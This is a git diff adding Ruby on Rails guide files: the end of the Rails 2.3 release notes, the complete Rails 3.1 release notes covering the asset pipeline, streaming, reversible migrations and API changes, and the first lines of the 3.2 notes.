+h4. Other Action View Changes
+
+* Token generation for CSRF protection has been simplified; now Rails uses a simple random string generated by +ActiveSupport::SecureRandom+ rather than mucking around with session IDs.
+* +auto_link+ now properly applies options (such as +:target+ and +:class+) to generated e-mail links.
+* The +autolink+ helper has been refactored to make it a bit less messy and more intuitive.
+* +current_page?+ now works properly even when there are multiple query parameters in the URL.
+
+h3. Active Support
+
+Active Support has a few interesting changes, including the introduction of +Object#try+.
+
+h4. Object#try
+
+A lot of folks have adopted the notion of using try() to attempt operations on objects. It's especially helpful in views where you can avoid nil-checking by writing code like +&lt;%= @person.try(:name) %&gt;+. Well, now it's baked right into Rails. As implemented in Rails, it raises +NoMethodError+ on private methods and always returns +nil+ if the object is nil.
+
+* More Information: "try()":http://ozmm.org/posts/try.html.
+
+h4. Object#tap Backport
+
++Object#tap+ is an addition to "Ruby 1.9":http://www.ruby-doc.org/core-1.9/classes/Object.html#M000309 and 1.8.7 that is similar to the +returning+ method that Rails has had for a while: it yields to a block, and then returns the object that was yielded. Rails now includes code to make this available under older versions of Ruby as well.
+
+h4. Swappable Parsers for XMLmini
+
+The support for XML parsing in ActiveSupport has been made more flexible by allowing you to swap in different parsers. By default, it uses the standard REXML implementation, but you can easily specify the faster LibXML or Nokogiri implementations for your own applications, provided you have the appropriate gems installed:
+
+<ruby>
+XmlMini.backend = 'LibXML'
+</ruby>
+
+* Lead Contributor: "Bart ten Brinke":http://www.movesonrails.com/
+* Lead Contributor: "Aaron Patterson":http://tenderlovemaking.com/
+
+h4. Fractional seconds for TimeWithZone
+
+The +Time+ and +TimeWithZone+ classes include an +xmlschema+ method to return the time in an XML-friendly string. As of Rails 2.3, +TimeWithZone+ supports the same argument for specifying the number of digits in the fractional second part of the returned string that +Time+ does:
+
+<ruby>
+>> Time.zone.now.xmlschema(6)
+=> "2009-01-16T13:00:06.13653Z"
+</ruby>
+
+* Lead Contributor: "Nicholas Dainty":http://www.workingwithrails.com/person/13536-nicholas-dainty
+
+h4. JSON Key Quoting
+
+If you look up the spec on the "json.org" site, you'll discover that all keys in a JSON structure must be strings, and they must be quoted with double quotes. Starting with Rails 2.3, we do the right thing here, even with numeric keys.
+
+h4. Other Active Support Changes
+
+* You can use +Enumerable#none?+ to check that none of the elements match the supplied block.
+* If you're using Active Support "delegates":http://afreshcup.com/2008/10/19/coming-in-rails-22-delegate-prefixes/, the new +:allow_nil+ option lets you return +nil+ instead of raising an exception when the target object is nil.
+* +ActiveSupport::OrderedHash+: now implements +each_key+ and +each_value+.
+* +ActiveSupport::MessageEncryptor+ provides a simple way to encrypt information for storage in an untrusted location (like cookies).
+* Active Support's +from_xml+ no longer depends on XmlSimple. Instead, Rails now includes its own XmlMini implementation, with just the functionality that it requires. This lets Rails dispense with the bundled copy of XmlSimple that it's been carting around.
+* If you memoize a private method, the result will now be private.
+* +String#parameterize+ accepts an optional separator: +"Quick Brown Fox".parameterize('_') => "quick_brown_fox"+.
+* +number_to_phone+ accepts 7-digit phone numbers now.
+* +ActiveSupport::Json.decode+ now handles +\u0000+ style escape sequences.
+
+h3. Railties
+
+In addition to the Rack changes covered above, Railties (the core code of Rails itself) sports a number of significant changes, including Rails Metal, application templates, and quiet backtraces.
+
+h4. Rails Metal
+
+Rails Metal is a new mechanism that provides superfast endpoints inside of your Rails applications. Metal classes bypass routing and Action Controller to give you raw speed (at the cost of all the things in Action Controller, of course). This builds on all of the recent foundation work to make Rails a Rack application with an exposed middleware stack. Metal endpoints can be loaded from your application or from plugins.
+
+* More Information:
+** "Introducing Rails Metal":http://weblog.rubyonrails.org/2008/12/17/introducing-rails-metal
+** "Rails Metal: a micro-framework with the power of Rails":http://soylentfoo.jnewland.com/articles/2008/12/16/rails-metal-a-micro-framework-with-the-power-of-rails-m
+** "Metal: Super-fast Endpoints within your Rails Apps":http://www.railsinside.com/deployment/180-metal-super-fast-endpoints-within-your-rails-apps.html
+** "What's New in Edge Rails: Rails Metal":http://ryandaigle.com/articles/2008/12/18/what-s-new-in-edge-rails-rails-metal
+
+h4. Application Templates
+
+Rails 2.3 incorporates Jeremy McAnally's "rg":http://github.com/jeremymcanally/rg/tree/master application generator. What this means is that we now have template-based application generation built right into Rails; if you have a set of plugins you include in every application (among many other use cases), you can just set up a template once and use it over and over again when you run the +rails+ command. There's also a rake task to apply a template to an existing application:
+
+<ruby>
+rake rails:template LOCATION=~/template.rb
+</ruby>
+
+This will layer the changes from the template on top of whatever code the project already contains.
+
+* Lead Contributor: "Jeremy McAnally":http://www.jeremymcanally.com/
+* More Info:"Rails templates":http://m.onkey.org/2008/12/4/rails-templates
+
+h4. Quieter Backtraces
+
+Building on Thoughtbot's "Quiet Backtrace":https://github.com/thoughtbot/quietbacktrace plugin, which allows you to selectively remove lines from +Test::Unit+ backtraces, Rails 2.3 implements +ActiveSupport::BacktraceCleaner+ and +Rails::BacktraceCleaner+ in core. This supports both filters (to perform regex-based substitutions on backtrace lines) and silencers (to remove backtrace lines entirely). Rails automatically adds silencers to get rid of the most common noise in a new application, and builds a +config/backtrace_silencers.rb+ file to hold your own additions. This feature also enables prettier printing from any gem in the backtrace.
+
+h4. Faster Boot Time in Development Mode with Lazy Loading/Autoload
+
+Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using +autoload+ to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.
+
+You can also specify (by using the new +preload_frameworks+ option) whether the core libraries should be autoloaded at startup. This defaults to +false+ so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.
+
+h4. rake gem Task Rewrite
+
+The internals of the various <code>rake gem</code> tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored.
+
+* Lead Contributor: "David Dollar":http://www.workingwithrails.com/person/12240-david-dollar
+
+h4. Other Railties Changes
+
+* The instructions for updating a CI server to build Rails have been updated and expanded.
+* Internal Rails testing has been switched from +Test::Unit::TestCase+ to +ActiveSupport::TestCase+, and the Rails core requires Mocha to test.
+* The default +environment.rb+ file has been decluttered.
+* The dbconsole script now lets you use an all-numeric password without crashing.
+* +Rails.root+ now returns a +Pathname+ object, which means you can use it directly with the +join+ method to "clean up existing code":http://afreshcup.com/2008/12/05/a-little-rails_root-tidiness/ that uses +File.join+.
+* Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding +--with-dispatchers+ when you run the +rails+ command, or add them later with +rake rails:update:generate_dispatchers+).
+* Rails Guides have been converted from AsciiDoc to Textile markup.
+* Scaffolded views and controllers have been cleaned up a bit.
+* +script/server+ now accepts a <tt>--path</tt> argument to mount a Rails application from a specific path.
+* If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.
+* Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.
+
+h3. Deprecated
+
+A few pieces of older code are deprecated in this release:
+
+* If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the "irs_process_scripts":http://github.com/rails/irs_process_scripts/tree plugin.
+* +render_component+ goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the "render_component plugin":http://github.com/rails/render_component/tree/master.
+* Support for Rails components has been removed.
+* If you were one of the people who got used to running +script/performance/request+ to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There’s a new request_profiler plugin that you can install to get the exact same functionality back.
+* +ActionController::Base#session_enabled?+ is deprecated because sessions are lazy-loaded now.
+* The +:digest+ and +:secret+ options to +protect_from_forgery+ are deprecated and have no effect.
+* Some integration test helpers have been removed. +response.headers["Status"]+ and +headers["Status"]+ will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the +status+ and +status_message+ helpers. +response.headers["cookie"]+ and +headers["cookie"]+ will no longer return any CGI cookies. You can inspect +headers["Set-Cookie"]+ to see the raw cookie header or use the +cookies+ helper to get a hash of the cookies sent to the client.
+* +formatted_polymorphic_url+ is deprecated. Use +polymorphic_url+ with +:format+ instead.
+* The +:http_only+ option in +ActionController::Response#set_cookie+ has been renamed to +:httponly+.
+* The +:connector+ and +:skip_last_comma+ options of +to_sentence+ have been replaced by +:words_connnector+, +:two_words_connector+, and +:last_word_connector+ options.
+* Posting a multipart form with an empty +file_field+ control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.
+
+h3. Credits
+
+Release notes compiled by "Mike Gunderloy":http://afreshcup.com. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.
diff --git a/railties/guides/source/3_0_release_notes.textile b/guides/source/3_0_release_notes.textile
index d22c76dd81..d22c76dd81 100644
--- a/railties/guides/source/3_0_release_notes.textile
+++ b/guides/source/3_0_release_notes.textile
diff --git a/guides/source/3_1_release_notes.textile b/guides/source/3_1_release_notes.textile
new file mode 100644
index 0000000000..f88d8624ba
--- /dev/null
+++ b/guides/source/3_1_release_notes.textile
@@ -0,0 +1,538 @@
+h2. Ruby on Rails 3.1 Release Notes
+
+Highlights in Rails 3.1:
+
+* Streaming
+* Reversible Migrations
+* Assets Pipeline
+* jQuery as the default JavaScript library
+
+This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
+
+endprologue.
+
+h3. Upgrading to Rails 3.1
+
+If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes:
+
+h4. Rails 3.1 requires at least Ruby 1.8.7
+
+Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2.
+
+TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing.
+
+h4. What to update in your apps
+
+The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails.
+
+h5. Gemfile
+
+Make the following changes to your +Gemfile+.
+
+<ruby>
+gem 'rails', '= 3.1.3'
+gem 'mysql2'
+
+# Needed for the new asset pipeline
+group :assets do
+  gem 'sass-rails',   "~> 3.1.5"
+  gem 'coffee-rails', "~> 3.1.1"
+  gem 'uglifier',     ">= 1.0.3"
+end
+
+# jQuery is the default JavaScript library in Rails 3.1
+gem 'jquery-rails'
+</ruby>
+
+h5. config/application.rb
+
+* The asset pipeline requires the following additions:
+
+<ruby>
+config.assets.enabled = true
+config.assets.version = '1.0'
+</ruby>
+
+* If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts:
+
+<ruby>
+# Defaults to '/assets'
+config.assets.prefix = '/asset-files'
+</ruby>
+
+h5. config/environments/development.rb
+
+* Remove the RJS setting <tt>config.action_view.debug_rjs = true</tt>.
+
+* Add the following, if you enable the asset pipeline.
+
+<ruby>
+# Do not compress assets
+config.assets.compress = false
+
+# Expands the lines which load the assets
+config.assets.debug = true
+</ruby>
+
+h5. config/environments/production.rb
+
+* Again, most of the changes below are for the asset pipeline. You can read more about these in the "Asset Pipeline":asset_pipeline.html guide.
+
+<ruby>
+# Compress JavaScripts and CSS
+config.assets.compress = true
+
+# Don't fallback to assets pipeline if a precompiled asset is missed
+config.assets.compile = false
+
+# Generate digests for assets URLs
+config.assets.digest = true
+
+# Defaults to Rails.root.join("public/assets")
+# config.assets.manifest = YOUR_PATH
+
+# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
+# config.assets.precompile += %w( search.js )
+
+
+# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+# config.force_ssl = true
+
+</ruby>
+
+h5. config/environments/test.rb
+
+<ruby>
+# Configure static asset server for tests with Cache-Control for performance
+config.serve_static_assets = true
+config.static_cache_control = "public, max-age=3600"
+</ruby>
+
+h5. config/initializers/wrap_parameters.rb
+
+* Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications.
+
+<ruby>
+# Be sure to restart your server when you modify this file.
+# This file contains settings for ActionController::ParamsWrapper which
+# is enabled by default.
+
+# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+ActiveSupport.on_load(:action_controller) do
+  wrap_parameters :format => [:json]
+end
+
+# Disable root element in JSON by default.
+ActiveSupport.on_load(:active_record) do
+  self.include_root_in_json = false
+end
+</ruby>
+
+h3. Creating a Rails 3.1 application
+
+<shell>
+# You should have the 'rails' rubygem installed
+$ rails new myapp
+$ cd myapp
+</shell>
+
+h4. Vendoring Gems
+
+Rails now uses a +Gemfile+ in the application root to determine the gems you require for your application to start. This +Gemfile+ is processed by the "Bundler":https://github.com/carlhuda/bundler gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems.
+
+More information: - "bundler homepage":http://gembundler.com
+
+h4. Living on the Edge
+
++Bundler+ and +Gemfile+ makes freezing your Rails application easy as pie with the new dedicated +bundle+ command. If you want to bundle straight from the Git repository, you can pass the +--edge+ flag:
+
+<shell>
+$ rails new myapp --edge
+</shell>
+
+If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the +--dev+ flag:
+
+<shell>
+$ ruby /path/to/rails/railties/bin/rails new myapp --dev
+</shell>
+
+h3. Rails Architectural Changes
+
+h4. Assets Pipeline
+
+The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines.
+
+The assets pipeline is powered by "Sprockets":https://github.com/sstephenson/sprockets and is covered in the "Asset Pipeline":asset_pipeline.html guide.
+
+h4. HTTP Streaming
+
+HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it.
+
+h4. Default JS library is now jQuery
+
+jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch.
+
+<shell>
+$ rails new myapp -j prototype
+</shell>
+
+h4. Identity Map
+
+Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion.
+
+Rails 3.1 comes with the identity map turned off by default.
+
+h3. Railties
+
+* jQuery is the new default JavaScript library.
+
+* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems.
+
+* The application generator accepts an option +-j+ which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the +Gemfile+, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline.
+
+* Generating an application or a plugin runs +bundle install+ unless +--skip-gemfile+ or +--skip-bundle+ is specified.
+
+* The controller and resource generators will now automatically produce asset stubs (this can be turned off with +--skip-assets+). These stubs will use CoffeeScript and Sass, if those libraries are available.
+
+* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, +--old-style-hash+ can be passed.
+
+* Scaffold controller generator creates format block for JSON instead of XML.
+
+* Active Record logging is directed to STDOUT and shown inline in the console.
+
+* Added +config.force_ssl+ configuration which loads <tt>Rack::SSL</tt> middleware and force all requests to be under HTTPS protocol.
+
+* Added +rails plugin new+ command which generates a Rails plugin with gemspec, tests and a dummy application for testing.
+
+* Added <tt>Rack::Etag</tt> and <tt>Rack::ConditionalGet</tt> to the default middleware stack.
+
+* Added <tt>Rack::Cache</tt> to the default middleware stack.
+
+* Engines received a major update - You can mount them at any path, enable assets, run generators etc.
+
+h3. Action Pack
+
+h4. Action Controller
+
+* A warning is given out if the CSRF token authenticity cannot be verified.
+
+* Specify +force_ssl+ in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, +:only+ or +:except+ can be used.
+
+* Sensitive query string parameters specified in <tt>config.filter_parameters</tt> will now be filtered out from the request paths in the log.
+
+* URL parameters which return +nil+ for +to_param+ are now removed from the query string.
+
+* Added <tt>ActionController::ParamsWrapper</tt> to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in <tt>config/initializers/wrap_parameters.rb</tt>.
+
+* Added <tt>config.action_controller.include_all_helpers</tt>. By default <tt>helper :all</tt> is done in <tt>ActionController::Base</tt>, which includes all the helpers by default. Setting +include_all_helpers+ to +false+ will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller).
+
+* +url_for+ and named url helpers now accept +:subdomain+ and +:domain+ as options.
+
+* Added +Base.http_basic_authenticate_with+ to do simple http basic authentication with a single class method call.
+
+<ruby>
+class PostsController < ApplicationController
+  USER_NAME, PASSWORD = "dhh", "secret"
+
+  before_filter :authenticate, :except => [ :index ]
+
+  def index
+    render :text => "Everyone can see me!"
+  end
+
+  def edit
+    render :text => "I'm only accessible if you know the password"
+  end
+
+  private
+    def authenticate
+      authenticate_or_request_with_http_basic do |user_name, password|
+        user_name == USER_NAME && password == PASSWORD
+      end
+    end
+end
+</ruby>
+
+..can now be written as
+
+<ruby>
+class PostsController < ApplicationController
+  http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index
+
+  def index
+    render :text => "Everyone can see me!"
+  end
+
+  def edit
+    render :text => "I'm only accessible if you know the password"
+  end
+end
+</ruby>
+
+* Added streaming support, you can enable it with:
+
+<ruby>
+class PostsController < ActionController::Base
+  stream
+end
+</ruby>
+
+You can restrict it to some actions by using +:only+ or +:except+. Please read the docs at "<tt>ActionController::Streaming</tt>":http://api.rubyonrails.org/classes/ActionController/Streaming.html for more information.
+
+* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused.
+
+h4. Action Dispatch
+
+* <tt>config.action_dispatch.x_sendfile_header</tt> now defaults to +nil+ and <tt>config/environments/production.rb</tt> doesn't set any particular value for it. This allows servers to set it through <tt>X-Sendfile-Type</tt>.
+
+* <tt>ActionDispatch::MiddlewareStack</tt> now uses composition over inheritance and is no longer an array.
+
+* Added <tt>ActionDispatch::Request.ignore_accept_header</tt> to ignore accept headers.
+
+* Added <tt>Rack::Cache</tt> to the default stack.
+
+* Moved etag responsibility from <tt>ActionDispatch::Response</tt> to the middleware stack.
+
+* Rely on <tt>Rack::Session</tt> stores API for more compatibility across the Ruby world. This is backwards incompatible since <tt>Rack::Session</tt> expects <tt>#get_session</tt> to accept four arguments and requires <tt>#destroy_session</tt> instead of simply <tt>#destroy</tt>.
+
+* Template lookup now searches further up in the inheritance chain.
+
+h4. Action View
+
+* Added an +:authenticity_token+ option to +form_tag+ for custom handling or to omit the token by passing <tt>:authenticity_token => false</tt>.
+
+* Created <tt>ActionView::Renderer</tt> and specified an API for <tt>ActionView::Context</tt>.
+
+* In place +SafeBuffer+ mutation is prohibited in Rails 3.1.
+
+* Added HTML5 +button_tag+ helper.
+
+* +file_field+ automatically adds <tt>:multipart => true</tt> to the enclosing form.
+
+* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a +:data+ hash of options:
+
+<plain>
+tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)})
+# => <div data-name="Stephen" data-city-state="[&quot;Chicago&quot;,&quot;IL&quot;]" />
+</plain>
+
+Keys are dasherized. Values are JSON-encoded, except for strings and symbols.
+
+* +csrf_meta_tag+ is renamed to +csrf_meta_tags+ and aliases +csrf_meta_tag+ for backwards compatibility.
+
+* The old template handler API is deprecated and the new API simply requires a template handler to respond to call.
+
+* rhtml and rxml are finally removed as template handlers.
+
+* <tt>config.action_view.cache_template_loading</tt> is brought back which allows to decide whether templates should be cached or not.
+
+* The submit form helper does not generate an id "object_name_id" anymore.
+
+* Allows <tt>FormHelper#form_for</tt> to specify the +:method+ as a direct option instead of through the +:html+ hash. <tt>form_for(==@==post, remote: true, method: :delete)</tt> instead of <tt>form_for(==@==post, remote: true, html: { method: :delete })</tt>.
+
+* Provided <tt>JavaScriptHelper#j()</tt> as an alias for <tt>JavaScriptHelper#escape_javascript()</tt>. This supersedes the <tt>Object#j()</tt> method that the JSON gem adds within templates using the JavaScriptHelper.
+
+* Allows AM/PM format in datetime selectors.
+
+* +auto_link+ has been removed from Rails and extracted into the "rails_autolink gem":https://github.com/tenderlove/rails_autolink
+
+h3. Active Record
+
+* Added a class method <tt>pluralize_table_names</tt> to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through <tt>ActiveRecord::Base.pluralize_table_names</tt>.
+<ruby>
+class User < ActiveRecord::Base
+  self.pluralize_table_names = false
+end
+</ruby>
+
+* Added block setting of attributes to singular associations. The block will get called after the instance is initialized.
+
+<ruby>
+class User < ActiveRecord::Base
+  has_one :account
+end
+
+user.build_account{ |a| a.credit_limit = 100.0 }
+</ruby>
+
+* Added <tt>ActiveRecord::Base.attribute_names</tt> to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist.
+
+* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0.
+
+* <tt>ActiveRecord#new</tt>, <tt>ActiveRecord#create</tt> and <tt>ActiveRecord#update_attributes</tt> all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities:
+
+<ruby>
+class Post < ActiveRecord::Base
+  attr_accessible :title
+  attr_accessible :title, :published_at, :as => :admin
+end
+
+Post.new(params[:post], :as => :admin)
+</ruby>
+
+* +default_scope+ can now take a block, lambda, or any other object which responds to call for lazy evaluation.
+
+* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped.
+
+* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher.
+
+* +ConnectionManagement+ middleware is changed to clean up the connection pool after the rack body has been flushed.
+
+* Added an +update_column+ method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use +update_attributes+ or +update_attribute+ unless you are sure you do not want to execute any callback, including the modification of the +updated_at+ column. It should not be called on new records.
+
+* Associations with a +:through+ option can now use any association as the through or source association, including other associations which have a +:through+ option and +has_and_belongs_to_many+ associations.
+
+* The configuration for the current database connection is now accessible via <tt>ActiveRecord::Base.connection_config</tt>.
+
+* limits and offsets are removed from COUNT queries unless both are supplied.
+<ruby>
+People.limit(1).count           # => 'SELECT COUNT(*) FROM people'
+People.offset(1).count          # => 'SELECT COUNT(*) FROM people'
+People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1'
+</ruby>
+
+* <tt>ActiveRecord::Associations::AssociationProxy</tt> has been split. There is now an +Association+ class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called +CollectionProxy+, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings.
+
+* Singular associations (+has_one+, +belongs_to+) no longer have a proxy and simply returns the associated record or +nil+. This means that you should not use undocumented methods such as +bob.mother.create+ - use +bob.create_mother+ instead.
+
+* Support the <tt>:dependent</tt> option on <tt>has_many :through</tt> associations. For historical and practical reasons, +:delete_all+ is the default deletion strategy employed by <tt>association.delete(*records)</tt>, despite the fact that the default strategy is +:nullify+ for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association.
+
+* The behavior of +association.destroy+ for +has_and_belongs_to_many+ and <tt>has_many :through</tt> is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'.
+
+* Previously, <tt>has_and_belongs_to_many.destroy(*records)</tt> would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table.
+
+* Previously, <tt>has_many_through.destroy(*records)</tt> would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table.
+
+* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do <tt>records.association.each(&:destroy)</tt>.
+
+* Add <tt>:bulk => true</tt> option to +change_table+ to make all the schema changes defined in a block using a single ALTER statement.
+
+<ruby>
+change_table(:users, :bulk => true) do |t|
+  t.string :company_name
+  t.change :birthdate, :datetime
+end
+</ruby>
+
+* Removed support for accessing attributes on a +has_and_belongs_to_many+ join table. <tt>has_many :through</tt> needs to be used.
+
+* Added a +create_association!+ method for +has_one+ and +belongs_to+ associations.
+
+* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the +change+ method.
+<ruby>
+class MyMigration < ActiveRecord::Migration
+  def change
+    create_table(:horses) do |t|
+      t.column :content, :text
+      t.column :remind_at, :datetime
+    end
+  end
+end
+</ruby>
+
+* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define +up+ and +down+ in your migration. If you define something in change that cannot be reversed, an +IrreversibleMigration+ exception will be raised when going down.
+
+* Migrations now use instance methods rather than class methods:
+<ruby>
+class FooMigration < ActiveRecord::Migration
+  def up # Not self.up
+    ...
+  end
+end
+</ruby>
+
+* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's +change+ method instead of the ordinary +up+ and +down+ methods.
+
+* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used.
+
+<ruby>
+has_many :things, :conditions => 'foo = #{bar}'          # before
+has_many :things, :conditions => proc { "foo = #{bar}" } # after
+</ruby>
+
+Inside the proc, +self+ is the object which is the owner of the association, unless you are eager loading the association, in which case +self+ is the class which the association is within.
+
+You can have any "normal" conditions inside the proc, so the following will work too:
+
+<ruby>
+has_many :things, :conditions => proc { ["foo = ?", bar] }
+</ruby>
+
+* Previously +:insert_sql+ and +:delete_sql+ on +has_and_belongs_to_many+ association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc.
+
+* Added <tt>ActiveRecord::Base#has_secure_password</tt> (via <tt>ActiveModel::SecurePassword</tt>) to encapsulate dead-simple password usage with BCrypt encryption and salting.
+
+<ruby>
+# Schema: User(name:string, password_digest:string, password_salt:string)
+class User < ActiveRecord::Base
+  has_secure_password
+end
+</ruby>
+
+* When a model is generated +add_index+ is added by default for +belongs_to+ or +references+ columns.
+
+* Setting the id of a +belongs_to+ object will update the reference to the object.
+
+* <tt>ActiveRecord::Base#dup</tt> and <tt>ActiveRecord::Base#clone</tt> semantics have changed to closer match normal Ruby dup and clone semantics.
+
+* Calling <tt>ActiveRecord::Base#clone</tt> will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called.
+
+* Calling <tt>ActiveRecord::Base#dup</tt> will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return +true+ for <tt>new_record?</tt>, have a +nil+ id field, and is saveable.
+
+* The query cache now works with prepared statements. No changes in the applications are required.
+
+h3. Active Model
+
+* +attr_accessible+ accepts an option +:as+ to specify a role.
+
+* +InclusionValidator+, +ExclusionValidator+, and +FormatValidator+ now accepts an option which can be a proc, a lambda, or anything that respond to +call+. This option will be called with the current record as an argument and returns an object which respond to +include?+ for +InclusionValidator+ and +ExclusionValidator+, and returns a regular expression object for +FormatValidator+.
+
+* Added <tt>ActiveModel::SecurePassword</tt> to encapsulate dead-simple password usage with BCrypt encryption and salting.
+
+* <tt>ActiveModel::AttributeMethods</tt> allows attributes to be defined on demand.
+
+* Added support for selectively enabling and disabling observers.
+
+* Alternate <tt>I18n</tt> namespace lookup is no longer supported.
+
+h3. Active Resource
+
+* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set <tt>self.format = :xml</tt> in the class. For example,
+
+<ruby>
+class User < ActiveResource::Base
+  self.format = :xml
+end
+</ruby>
+
+h3. Active Support
+
+* <tt>ActiveSupport::Dependencies</tt> now raises +NameError+ if it finds an existing constant in +load_missing_constant+.
+
+* Added a new reporting method <tt>Kernel#quietly</tt> which silences both +STDOUT+ and +STDERR+.
+
+* Added <tt>String#inquiry</tt> as a convenience method for turning a String into a +StringInquirer+ object.
+
+* Added <tt>Object#in?</tt> to test if an object is included in another object.
+
+* +LocalCache+ strategy is now a real middleware class and no longer an anonymous class.
+
+* <tt>ActiveSupport::Dependencies::ClassCache</tt> class has been introduced for holding references to reloadable classes.
+
+* <tt>ActiveSupport::Dependencies::Reference</tt> has been refactored to take direct advantage of the new +ClassCache+.
+
+* Backports <tt>Range#cover?</tt> as an alias for <tt>Range#include?</tt> in Ruby 1.8.
+
+* Added +weeks_ago+ and +prev_week+ to Date/DateTime/Time.
+
+* Added +before_remove_const+ callback to <tt>ActiveSupport::Dependencies.remove_unloadable_constants!</tt>.
+
+Deprecations:
+
+* <tt>ActiveSupport::SecureRandom</tt> is deprecated in favor of +SecureRandom+ from the Ruby standard library.
+
+h3. Credits
+
+See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them.
+
+Rails 3.1 Release Notes were compiled by "Vijay Dev":https://github.com/vijaydev.
diff --git a/guides/source/3_2_release_notes.textile b/guides/source/3_2_release_notes.textile
new file mode 100644
index 0000000000..3524ea6595
--- /dev/null
+++ b/guides/source/3_2_release_notes.textile
@@ -0,0 +1,552 @@
+h2. Ruby on Rails 3.2 Release Notes
+
+Highlights in Rails 3.2:
+
+* Faster Development Mode
+* New Routing Engine
